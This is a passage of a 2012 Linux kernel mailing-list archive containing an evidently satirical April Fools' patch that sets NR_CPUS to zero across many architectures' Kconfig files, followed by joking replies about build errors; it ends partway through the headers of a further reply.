> Despite that you might have heard, the mind-numbing complexity of modern
> computer systems is not due so much to there being multiple CPUs, but
> rather to there being any CPUs at all.  In short, for the ultimate in
> computer-system simplicity, the optimal choice is NR_CPUS=3D0.
>=20
> This commit therefore limits kernel builds to zero CPUs.  This change
> has the beneficial side effect of rendering all kernel bugs harmless.
> Furthermore, this commit enables additional beneficial changes, for
> example, the removal of those parts of the kernel that are not needed
> when there are zero CPUs.
>=20
> Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
> ---
>=20
>  alpha/Kconfig                     |   11 ++++++-----
>  arm/Kconfig                       |    6 +++---
>  blackfin/Kconfig                  |    3 ++-
>  hexagon/Kconfig                   |    9 +++++----
>  ia64/Kconfig                      |    9 +++++----
>  m32r/Kconfig                      |   10 ++++++----
>  mips/Kconfig                      |   21 +++++++++++----------
>  mn10300/Kconfig                   |    3 ++-
>  parisc/Kconfig                    |    6 +++---
>  powerpc/platforms/Kconfig.cputype |    8 ++++----
>  s390/Kconfig                      |   12 +++++++-----
>  sh/Kconfig                        |   11 ++++++-----
>  sparc/Kconfig                     |    8 ++++----
>  tile/Kconfig                      |    9 +++++----
>  x86/Kconfig                       |   16 +++++++++-------
>  15 files changed, 78 insertions(+), 64 deletions(-)
>=20
> diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
> index 56a4df9..1766b4a 100644
> --- a/arch/alpha/Kconfig
> +++ b/arch/alpha/Kconfig
> @@ -541,14 +541,15 @@ config HAVE_DEC_LOCK
>  	default y
> =20
>  config NR_CPUS
> -	int "Maximum number of CPUs (2-32)"
> -	range 2 32
> +	int "Maximum number of CPUs (0-0)"
> +	range 0 0
>  	depends on SMP
> -	default "32" if ALPHA_GENERIC || ALPHA_MARVEL
> -	default "4" if !ALPHA_GENERIC && !ALPHA_MARVEL
> +	default "0" if ALPHA_GENERIC || ALPHA_MARVEL
> +	default "0" if !ALPHA_GENERIC && !ALPHA_MARVEL
>  	help
>  	  MARVEL support can handle a maximum of 32 CPUs, all the others
> -          with working support have a maximum of 4 CPUs.
> +          with working support have a maximum of 4 CPUs.  But why take
> +	  chances?  Just stick with zero CPUs.
> =20
>  config ARCH_DISCONTIGMEM_ENABLE
>  	bool "Discontiguous Memory Support (EXPERIMENTAL)"
> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index a48aecc..1f07a3a 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -1551,10 +1551,10 @@ config PAGE_OFFSET
>  	default 0xC0000000
> =20
>  config NR_CPUS
> -	int "Maximum number of CPUs (2-32)"
> -	range 2 32
> +	int "Maximum number of CPUs (0-0)"
> +	range 0 0
>  	depends on SMP
> -	default "4"
> +	default "0"
> =20
>  config HOTPLUG_CPU
>  	bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
> diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
> index abe5a9e..6a78549 100644
> --- a/arch/blackfin/Kconfig
> +++ b/arch/blackfin/Kconfig
> @@ -241,7 +241,8 @@ config SMP
>  config NR_CPUS
>  	int
>  	depends on SMP
> -	default 2 if BF561
> +	range 0 0
> +	default 0 if BF561
> =20
>  config HOTPLUG_CPU
>  	bool "Support for hot-pluggable CPUs"
> diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
> index 9059e39..daab009 100644
> --- a/arch/hexagon/Kconfig
> +++ b/arch/hexagon/Kconfig
> @@ -158,13 +158,14 @@ config SMP
> =20
>  config NR_CPUS
>  	int "Maximum number of CPUs" if SMP
> -	range 2 6 if SMP
> -	default "1" if !SMP
> -	default "6" if SMP
> +	range 0 0 if SMP
> +	default "0" if !SMP
> +	default "0" if SMP
>  	---help---
>  	  This allows you to specify the maximum number of CPUs which this
>  	  kernel will support.  The maximum supported value is 6 and the
> -	  minimum value which makes sense is 2.
> +	  minimum value which makes sense is 2.  But a limit of zero is
> +	  so much safer!
> =20
>  	  This is purely to save memory - each supported CPU adds
>  	  approximately eight kilobytes to the kernel image.
> diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
> index bd72669..fea0e6d 100644
> --- a/arch/ia64/Kconfig
> +++ b/arch/ia64/Kconfig
> @@ -373,16 +373,17 @@ config SMP
>  	  If you don't know what to do here, say N.
> =20
>  config NR_CPUS
> -	int "Maximum number of CPUs (2-4096)"
> -	range 2 4096
> +	int "Maximum number of CPUs (0-0)"
> +	range 0 0
>  	depends on SMP
> -	default "4096"
> +	default "0"
>  	help
>  	  You should set this to the number of CPUs in your system, but
>  	  keep in mind that a kernel compiled for, e.g., 2 CPUs will boot but
>  	  only use 2 CPUs on a >2 CPU system.  Setting this to a value larger
>  	  than 64 will cause the use of a CPU mask array, causing a small
> -	  performance hit.
> +	  performance hit.  And setting it larger than zero risks all
> +	  manner of software bugs, so we just play it safe.
> =20
>  config HOTPLUG_CPU
>  	bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
> diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
> index ef80a65..68b9e88 100644
> --- a/arch/m32r/Kconfig
> +++ b/arch/m32r/Kconfig
> @@ -300,14 +300,16 @@ config CHIP_M32700_TS1
>  	default n
> =20
>  config NR_CPUS
> -	int "Maximum number of CPUs (2-32)"
> -	range 2 32
> +	int "Maximum number of CPUs (0-0)"
> +	range 0 0
>  	depends on SMP
> -	default "2"
> +	default "0"
>  	help
>  	  This allows you to specify the maximum number of CPUs which this
>  	  kernel will support.  The maximum supported value is 32 and the
> -	  minimum value which makes sense is 2.
> +	  minimum value which makes sense is 2.  Zero may not make sense,
> +	  but given that there is much in this world that does not make
> +	  sense, zero it is!
> =20
>  	  This is purely to save memory - each supported CPU adds
>  	  approximately eight kilobytes to the kernel image.
> diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
> index 5ab6e89..3d7d06c 100644
> --- a/arch/mips/Kconfig
> +++ b/arch/mips/Kconfig
> @@ -2192,16 +2192,16 @@ config NR_CPUS_DEFAULT_64
>  	bool
> =20
>  config NR_CPUS
> -	int "Maximum number of CPUs (2-64)"
> -	range 1 64 if NR_CPUS_DEFAULT_1
> +	int "Maximum number of CPUs (0-0)"
> +	range 0 0 if NR_CPUS_DEFAULT_1
>  	depends on SMP
> -	default "1" if NR_CPUS_DEFAULT_1
> -	default "2" if NR_CPUS_DEFAULT_2
> -	default "4" if NR_CPUS_DEFAULT_4
> -	default "8" if NR_CPUS_DEFAULT_8
> -	default "16" if NR_CPUS_DEFAULT_16
> -	default "32" if NR_CPUS_DEFAULT_32
> -	default "64" if NR_CPUS_DEFAULT_64
> +	default "0" if NR_CPUS_DEFAULT_1
> +	default "0" if NR_CPUS_DEFAULT_2
> +	default "0" if NR_CPUS_DEFAULT_4
> +	default "0" if NR_CPUS_DEFAULT_8
> +	default "0" if NR_CPUS_DEFAULT_16
> +	default "0" if NR_CPUS_DEFAULT_32
> +	default "0" if NR_CPUS_DEFAULT_64
>  	help
>  	  This allows you to specify the maximum number of CPUs which this
>  	  kernel will support.  The maximum supported value is 32 for 32-bit
> @@ -2212,7 +2212,8 @@ config NR_CPUS
>  	  This is purely to save memory - each supported CPU adds
>  	  approximately eight kilobytes to the kernel image.  For best
>  	  performance should round up your number of processors to the next
> -	  power of two.
> +	  power of two.  And just think how much more memory we will
> +	  save by setting the limit to zero!
> =20
>  source "kernel/time/Kconfig"
> =20
> diff --git a/arch/mn10300/Kconfig b/arch/mn10300/Kconfig
> index 8f1c40d..85fc112 100644
> --- a/arch/mn10300/Kconfig
> +++ b/arch/mn10300/Kconfig
> @@ -201,7 +201,8 @@ config SMP
>  config NR_CPUS
>  	int
>  	depends on SMP
> -	default "2"
> +	range 0 0
> +	default "0"
> =20
>  source "kernel/Kconfig.preempt"
> =20
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index 242a1b7..358eaf8 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -254,10 +254,10 @@ config HPUX
>  	depends on !64BIT
> =20
>  config NR_CPUS
> -	int "Maximum number of CPUs (2-32)"
> -	range 2 32
> +	int "Maximum number of CPUs (0-0)"
> +	range 0 0
>  	depends on SMP
> -	default "32"
> +	default "0"
> =20
>  endmenu
> =20
> diff --git a/arch/powerpc/platforms/Kconfig.cputype b/arch/powerpc/platfo=
rms/Kconfig.cputype
> index 425db18..5e607e0 100644
> --- a/arch/powerpc/platforms/Kconfig.cputype
> +++ b/arch/powerpc/platforms/Kconfig.cputype
> @@ -356,11 +356,11 @@ config SMP
>  	  If you don't know what to do here, say N.
> =20
>  config NR_CPUS
> -	int "Maximum number of CPUs (2-8192)"
> -	range 2 8192
> +	int "Maximum number of CPUs (0-0)"
> +	range 0 0
>  	depends on SMP
> -	default "32" if PPC64
> -	default "4"
> +	default "0" if PPC64
> +	default "0"
> =20
>  config NOT_COHERENT_CACHE
>  	bool
> diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
> index d172758..f9bc067 100644
> --- a/arch/s390/Kconfig
> +++ b/arch/s390/Kconfig
> @@ -169,15 +169,17 @@ config SMP
>  	  Even if you don't know what to do here, say Y.
> =20
>  config NR_CPUS
> -	int "Maximum number of CPUs (2-64)"
> -	range 2 64
> +	int "Maximum number of CPUs (0-0)"
> +	range 0 0
>  	depends on SMP
> -	default "32" if !64BIT
> -	default "64" if 64BIT
> +	default "0" if !64BIT
> +	default "0" if 64BIT
>  	help
>  	  This allows you to specify the maximum number of CPUs which this
>  	  kernel will support.  The maximum supported value is 64 and the
> -	  minimum value which makes sense is 2.
> +	  minimum value which makes sense is 2.  The minimal value that
> +	  makes sense might well be 2, but we all know that the only
> +	  -sane- value is zero!
> =20
>  	  This is purely to save memory - each supported CPU adds
>  	  approximately sixteen kilobytes to the kernel image.
> diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
> index 713fb58..5ddc7c0 100644
> --- a/arch/sh/Kconfig
> +++ b/arch/sh/Kconfig
> @@ -705,18 +705,19 @@ config SMP
>  	  If you don't know what to do here, say N.
> =20
>  config NR_CPUS
> -	int "Maximum number of CPUs (2-32)"
> -	range 2 32
> +	int "Maximum number of CPUs (0-0)"
> +	range 0 0
>  	depends on SMP
> -	default "4" if CPU_SUBTYPE_SHX3
> -	default "2"
> +	default "0" if CPU_SUBTYPE_SHX3
> +	default "0"
>  	help
>  	  This allows you to specify the maximum number of CPUs which this
>  	  kernel will support.  The maximum supported value is 32 and the
>  	  minimum value which makes sense is 2.
> =20
>  	  This is purely to save memory - each supported CPU adds
> -	  approximately eight kilobytes to the kernel image.
> +	  approximately eight kilobytes to the kernel image.  Debloating
> +	  is the way, NR_CPUS to zero today!!!
> =20
>  config HOTPLUG_CPU
>  	bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
> diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
> index ca5580e..0de9f0f 100644
> --- a/arch/sparc/Kconfig
> +++ b/arch/sparc/Kconfig
> @@ -177,10 +177,10 @@ config SMP
>  config NR_CPUS
>  	int "Maximum number of CPUs"
>  	depends on SMP
> -	range 2 32 if SPARC32
> -	range 2 1024 if SPARC64
> -	default 32 if SPARC32
> -	default 64 if SPARC64
> +	range 0 0 if SPARC32
> +	range 0 0 if SPARC64
> +	default 0 if SPARC32
> +	default 0 if SPARC64
> =20
>  source kernel/Kconfig.hz
> =20
> diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
> index 11270ca..a05112c 100644
> --- a/arch/tile/Kconfig
> +++ b/arch/tile/Kconfig
> @@ -126,14 +126,15 @@ source "init/Kconfig"
>  menu "Tilera-specific configuration"
> =20
>  config NR_CPUS
> -	int "Maximum number of tiles (2-255)"
> -	range 2 255
> +	int "Maximum number of tiles (0-0)"
> +	range 0 0
>  	depends on SMP
> -	default "64"
> +	default "0"
>  	---help---
>  	  Building with 64 is the recommended value, but a slightly
>  	  smaller kernel memory footprint results from using a smaller
> -	  value on chips with fewer tiles.
> +	  value on chips with fewer tiles.  To minimize both memory
> +	  footprint and bugs, use zero and only zero.
> =20
>  source "kernel/time/Kconfig"
> =20
> diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
> index 5bed94e..a6977f2 100644
> --- a/arch/x86/Kconfig
> +++ b/arch/x86/Kconfig
> @@ -773,19 +773,21 @@ config MAXSMP
> =20
>  config NR_CPUS
>  	int "Maximum number of CPUs" if SMP && !MAXSMP
> -	range 2 8 if SMP && X86_32 && !X86_BIGSMP
> -	range 2 512 if SMP && !MAXSMP
> -	default "1" if !SMP
> -	default "4096" if MAXSMP
> -	default "32" if SMP && (X86_NUMAQ || X86_SUMMIT || X86_BIGSMP || X86_ES=
7000)
> -	default "8" if SMP
> +	range 0 0 if SMP && X86_32 && !X86_BIGSMP
> +	range 0 0 if SMP && !MAXSMP
> +	default "0" if !SMP
> +	default "0" if MAXSMP
> +	default "0" if SMP && (X86_NUMAQ || X86_SUMMIT || X86_BIGSMP || X86_ES7=
000)
> +	default "0" if SMP
>  	---help---
>  	  This allows you to specify the maximum number of CPUs which this
>  	  kernel will support.  The maximum supported value is 512 and the
>  	  minimum value which makes sense is 2.
> =20
>  	  This is purely to save memory - each supported CPU adds
> -	  approximately eight kilobytes to the kernel image.
> +	  approximately eight kilobytes to the kernel image.  But
> +	  the first supported CPU brings a lot of bugs with it, so
> +	  for ultimate reliability, set the number of CPUs to zero.
> =20
>  config SCHED_SMT
>  	bool "SMT (Hyperthreading) scheduler support"
>=20
> --
> To unsubscribe from this list: send the line "unsubscribe linux-hexagon" =
in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

--rwEMma7ioTxnRzrJ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAEBAgAGBQJPd2XEAAoJEOtqpTTgwGUcT/kP/irfStlWBKWQUdwyQLaWj/yh
QSLlIdWOTyr1xtqI01asRN1NiBOyn0Itc+dzjbe6gV48py84kJIMeOiMkgvWYM8v
Q4fcBBTHeTqCtUYrKBCQaeGCf57JcKIvv3LUSNg8CwBR9HrEFRY3SoA6SbZ/2S00
ofTZzHi0weQ8LGgZONOAuQz+S+yJj0cd4Iq945tfxNp1kH4A6xA3R+9qxdW2FiDf
DejbtTwB7f/urpwB3rmzCkNP0JaGVKiQbSo/P2rP7xNKP6ze7ouGHQkPbc+5V4cW
53G9LGXZ2ETKZGlUs2Iqa7aoq1J+q7TUVSIPYl4AdWXebJ4B2Ux3C2kURLFdQXhi
f95Wb7ZpKmzrkBOVaA1RJkCxPN12MeKSP9zoYQqn2TZYsuNJPCh8XTQ+vBY6DntP
R1Dtk1hDWViFIaRcEog/B8qbksHIjQxyNbnlN6sR7d63gEK8cP1oc+gsro3joiJm
Emq+TCj6P5IrxAeTzZx+8mQ8UyyteHIIDpiAu36ybMbxbH4K8dz2bd58E1kICCkj
w/3yr9KQxMgwrG7FHq2S0kVkA/ZcOIJLkQOH+XPa3aZowlRgyf3Sp4PLFTWf/D3a
xcOdd84esnMcl3imbhPbFWZ899E0CA8K1mL0Y+GGsQXmxzimtRRzjG7cWqdPI0fw
X00ZoO8p/wCsmYExMGzC
=6MZE
-----END PGP SIGNATURE-----

--rwEMma7ioTxnRzrJ--
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randy Dunlap <rdunlap@xenotime.net>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sat, 31 Mar 2012 13:25:02 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <4F77681E.5010608@xenotime.net>
References: <20120331163321.GA15809@linux.vnet.ibm.com> <20120331201500.GA27640@linas.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1333225518 4064 80.91.229.3 (31 Mar 2012 20:25:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 20:25:18 +0000 (UTC)
Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com
To: Linas Vepstas <linasvepstas@gmail.com>
Original-X-From: sparclinux-owner@vger.kernel.org Sat Mar 31 22:25:14 2012
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1SE4rJ-0008Dt-19
	for lnx-sparclinux@plane.gmane.org; Sat, 31 Mar 2012 22:25:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752186Ab2CaUZL (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Sat, 31 Mar 2012 16:25:11 -0400
Original-Received: from oproxy4-pub.bluehost.com ([69.89.21.11]:33654 "HELO
	oproxy4-pub.bluehost.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1751770Ab2CaUZJ (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Sat, 31 Mar 2012 16:25:09 -0400
Original-Received: (qmail 18934 invoked by uid 0); 31 Mar 2012 20:25:08 -0000
Original-Received: from unknown (HELO box742.bluehost.com) (66.147.244.242)
  by cpoproxy1.bluehost.com with SMTP; 31 Mar 2012 20:25:08 -0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=xenotime.net; s=default;
	h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=fQvDRtvb5qaSxJ8hdf1WmrM7Zo8pFWHi8X8HBanaV90=;
	b=cWCyQa3IefoXxnWRM7oiyGCzVjO6FPXWkYfk8EAlU6JDuHjFGH0wUi5XqonAc5l1etCHYoNVCGm8bmb3LBrfry3U5G5P2GvFU4fcw9YtF0v+HnH9jBW0hYv76n/kNORr;
Original-Received: from static-50-53-38-135.bvtn.or.frontiernet.net ([50.53.38.135] helo=[192.168.1.4])
	by box742.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.76)
	(envelope-from <rdunlap@xenotime.net>)
	id 1SE4rE-0002tP-Gz; Sat, 31 Mar 2012 14:25:08 -0600
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.15) Gecko/20110323 Thunderbird/3.1.9
In-Reply-To: <20120331201500.GA27640@linas.org>
X-Identified-User: {1807:box742.bluehost.com:xenotime:xenotime.net} {sentby:smtp auth 50.53.38.135 authed with rdunlap@xenotime.net}
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:15995 gmane.linux.kernel:1275954 gmane.linux.ports.alpha:1770 gmane.linux.ports.arm.kernel:159842 gmane.linux.hardware.blackfin.kernel.devel:6371 gmane.linux.ports.hexagon:413 gmane.linux.ports.ia64:22179 gmane.linux.ports.mips.general:33946 gmane.linux.ports.parisc:4258 gmane.linux.ports.ppc64.devel:81356 gmane.linux.ports.sh.devel:14235
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/15995>

On 03/31/2012 01:15 PM, Linas Vepstas wrote:

> 
> Hi,
> 
> I didn't actually try to compile the patch below; it didn't look like
> C code so I wasn't sure what compiler to run it through.  I guess maybe
> its python?  However, I'm very sure that the patches are completely
> correct, because I read them, and I also know Paul.  And I've heard of
> Thomas Gleixner.


x86_64 defconfig has many build errors and warnings.  :(

back to my abacus.

-- 
~Randy
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sat, 31 Mar 2012 13:43:32 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20120331204332.GH2450@linux.vnet.ibm.com>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
 <20120331201500.GA27640@linas.org>
 <4F77681E.5010608@xenotime.net>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1333226638 10893 80.91.229.3 (31 Mar 2012 20:43:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 20:43:58 +0000 (UTC)
Cc: Linas Vepstas <linasvepstas@gmail.com>,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com
To: Randy Dunlap <rdunlap@xenotime.net>
Original-X-From: linux-ia64-owner@vger.kernel.org Sat Mar 31 22:43:53 2012
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1SE59M-0003S1-2U
	for glpi-linux-ia64-2@plane.gmane.org; Sat, 31 Mar 2012 22:43:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752646Ab2CaUnv (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Sat, 31 Mar 2012 16:43:51 -0400
Original-Received: from e39.co.us.ibm.com ([32.97.110.160]:36496 "EHLO
	e39.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751342Ab2CaUnt (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Sat, 31 Mar 2012 16:43:49 -0400
Original-Received: from /spool/local
	by e39.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-ia64@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sat, 31 Mar 2012 14:43:49 -0600
Original-Received: from d03dlp02.boulder.ibm.com (9.17.202.178)
	by e39.co.us.ibm.com (192.168.1.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sat, 31 Mar 2012 14:43:46 -0600
Original-Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106])
	by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id 7B40E3E40048;
	Sat, 31 Mar 2012 14:43:45 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q2VKhjlq115426;
	Sat, 31 Mar 2012 14:43:45 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q2VKhgs8020781;
	Sat, 31 Mar 2012 14:43:45 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-49-152-53.mts.ibm.com [9.49.152.53])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q2VKhfwd020771;
	Sat, 31 Mar 2012 14:43:42 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id C5519E4ABB; Sat, 31 Mar 2012 13:43:32 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <4F77681E.5010608@xenotime.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12033120-4242-0000-0000-0000013678D7
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22180 gmane.linux.kernel:1275958 gmane.linux.ports.alpha:1771 gmane.linux.ports.arm.kernel:159843 gmane.linux.hardware.blackfin.kernel.devel:6372 gmane.linux.ports.hexagon:414 gmane.linux.ports.mips.general:33947 gmane.linux.ports.parisc:4259 gmane.linux.ports.ppc64.devel:81357 gmane.linux.ports.sh.devel:14236 gmane.linux.ports.sparc:15996
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22180>

On Sat, Mar 31, 2012 at 01:25:02PM -0700, Randy Dunlap wrote:
> On 03/31/2012 01:15 PM, Linas Vepstas wrote:
> 
> > 
> > Hi,
> > 
> > I didn't actually try to compile the patch below; it didn't look like
> > C code so I wasn't sure what compiler to run it through.  I guess maybe
> > its python?  However, I'm very sure that the patches are completely
> > correct, because I read them, and I also know Paul.  And I've heard of
> > Thomas Gleixner.
> 
> 
> x86_64 defconfig has many build errors and warnings.  :(

I suggest removing the code containing the errors and warnings.  I bet
that the offending code is not needed when running with zero CPUs.

> back to my abacus.

;-)

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Dumazet <eric.dumazet@gmail.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state
 space
Date: Sat, 31 Mar 2012 23:00:08 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <1333227608.2325.4054.camel@edumazet-glaptop>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1333227625 17536 80.91.229.3 (31 Mar 2012 21:00:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 21:00:25 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com
